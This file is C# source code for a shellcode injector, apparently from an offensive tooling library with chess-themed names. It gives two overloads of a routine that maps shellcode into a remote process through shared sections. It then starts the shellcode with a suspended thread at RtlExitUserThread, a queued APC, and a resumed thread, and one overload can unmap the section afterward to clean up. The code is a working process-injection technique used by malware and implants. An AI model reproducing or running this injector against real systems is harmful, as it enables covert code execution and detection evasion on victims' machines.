public static void CastleKingside(String Path, BerlinDefence.PROC_VALIDATION Pv, Int32 ProcId, Boolean Clean)
{
// Read in sc bytes
BerlinDefence.SC_DATA scd = BerlinDefence.ReadShellcode(Path);
if (scd.iSize == 0)
{
Console.WriteLine("[!] Unable to read shellcode bytes..");
return;
}
// Create local section & map view of that section as RW in our process
Console.WriteLine("\n[>] Creating local section..");
BerlinDefence.SECT_DATA LocalSect = BerlinDefence.MapLocalSection(scd.iSize);
if (!LocalSect.isvalid)
{
return;
}
// Map section into remote process
Console.WriteLine("[>] Map RX section to remote proc..");
BerlinDefence.SECT_DATA RemoteSect = BerlinDefence.MapRemoteSection(Pv.hProc, LocalSect.hSection, scd.iSize);
if (!RemoteSect.isvalid)
{
return;
}
// Write sc to local section
Console.WriteLine("[>] Write shellcode to local section..");
Console.WriteLine(" |-> Size: " + scd.iSize);
Marshal.Copy(scd.bScData, 0, LocalSect.pBase, (int)scd.iSize);
// Find remote thread start address offset from base -> RtlExitUserThread
Console.WriteLine("[>] Seek export offset..");
Console.WriteLine(" |-> pRemoteNtDllBase: 0x" + String.Format("{0:X}", (Pv.pNtllBase).ToInt64()));
IntPtr pFucOffset = BerlinDefence.GetLocalExportOffset("ntdll.dll", "RtlExitUserThread");
if (pFucOffset == IntPtr.Zero)
{
return;
}
// Create suspended thread at RtlExitUserThread in remote proc
Console.WriteLine("[>] NtCreateThreadEx -> RtlExitUserThread <- Suspended..");
IntPtr hRemoteThread = IntPtr.Zero;
IntPtr pRemoteStartAddress = (IntPtr)((Int64)Pv.pNtllBase + (Int64)pFucOffset);
UInt32 CallResult = BerlinDefence.NtCreateThreadEx(ref hRemoteThread, 0x1FFFFF, IntPtr.Zero, Pv.hProc, pRemoteStartAddress, IntPtr.Zero, true, 0, 0xffff, 0xffff, IntPtr.Zero);
if (hRemoteThread == IntPtr.Zero)
{
Console.WriteLine("[!] Failed to create remote thread..");
return;
}
else
{
Console.WriteLine(" |-> Success");
}
// Queue APC
Console.WriteLine("[>] Set APC trigger & resume thread..");
CallResult = BerlinDefence.NtQueueApcThread(hRemoteThread, RemoteSect.pBase, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
if (CallResult == 0)
{
Console.WriteLine(" |-> NtQueueApcThread");
}
else
{
Console.WriteLine("[!] Unable register APC..");
return;
}
// Resume thread
UInt32 SuspendCount = 0;
CallResult = BerlinDefence.NtAlertResumeThread(hRemoteThread, ref SuspendCount);
if (CallResult == 0)
{
Console.WriteLine(" |-> NtAlertResumeThread");
}
else
{
Console.WriteLine("[!] Failed to resume thread..");
}
// Wait & clean up?
if (Clean)
{
Console.WriteLine("[>] Waiting for payload to finish..");
while (true)
{
BerlinDefence.THREAD_BASIC_INFORMATION ts = BerlinDefence.GetThreadState(hRemoteThread);
if (ts.ExitStatus != 259) // STILL_ACTIVE
{
Console.WriteLine(" |-> Thread exit status -> " + ts.ExitStatus);
UInt32 Unmap = BerlinDefence.NtUnmapViewOfSection(Pv.hProc, RemoteSect.pBase);
if (Unmap == 0)
{
Console.WriteLine(" |-> NtUnmapViewOfSection");
}
else
{
Console.WriteLine("[!] Failed to unmap remote section..");
}
break;
}
System.Threading.Thread.Sleep(400); // Sleep precious, sleep
}
}
}
public static void CastleKingside(String b64_sc, BerlinDefence.PROC_VALIDATION Pv, Int32 ProcId)
{
// Read in sc bytes
BerlinDefence.SC_DATA scd = BerlinDefence.ReadShellcode(b64_sc);
if (scd.iSize == 0)
{
return;
}
// Create local section & map view of that section as RW in our process
BerlinDefence.SECT_DATA LocalSect = BerlinDefence.MapLocalSection(scd.iSize);
if (!LocalSect.isvalid)
{
return;
}
// Map section into remote process
BerlinDefence.SECT_DATA RemoteSect = BerlinDefence.MapRemoteSection(Pv.hProc, LocalSect.hSection, scd.iSize);
if (!RemoteSect.isvalid)
{
return;
}
// Write sc to local section
Marshal.Copy(scd.bScData, 0, LocalSect.pBase, (int)scd.iSize);
// Find remote thread start address offset from base -> RtlExitUserThread
IntPtr pFucOffset = BerlinDefence.GetLocalExportOffset("ntdll.dll", "RtlExitUserThread");
if (pFucOffset == IntPtr.Zero)
{
return;
}
// Create suspended thread at RtlExitUserThread in remote proc
IntPtr hRemoteThread = IntPtr.Zero;
IntPtr pRemoteStartAddress = (IntPtr)((Int64)Pv.pNtllBase + (Int64)pFucOffset);
UInt32 CallResult = BerlinDefence.NtCreateThreadEx(ref hRemoteThread, 0x1FFFFF, IntPtr.Zero, Pv.hProc, pRemoteStartAddress, IntPtr.Zero, true, 0, 0xffff, 0xffff, IntPtr.Zero);
if (hRemoteThread == IntPtr.Zero)
{
return;
}
// Queue APC
CallResult = BerlinDefence.NtQueueApcThread(hRemoteThread, RemoteSect.pBase, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
if (CallResult == 0)
{
}
else
{
return;
}
// Resume thread
UInt32 SuspendCount = 0;
CallResult = BerlinDefence.NtAlertResumeThread(hRemoteThread, ref SuspendCount);
if (CallResult == 0)
{
}
else
{
}
}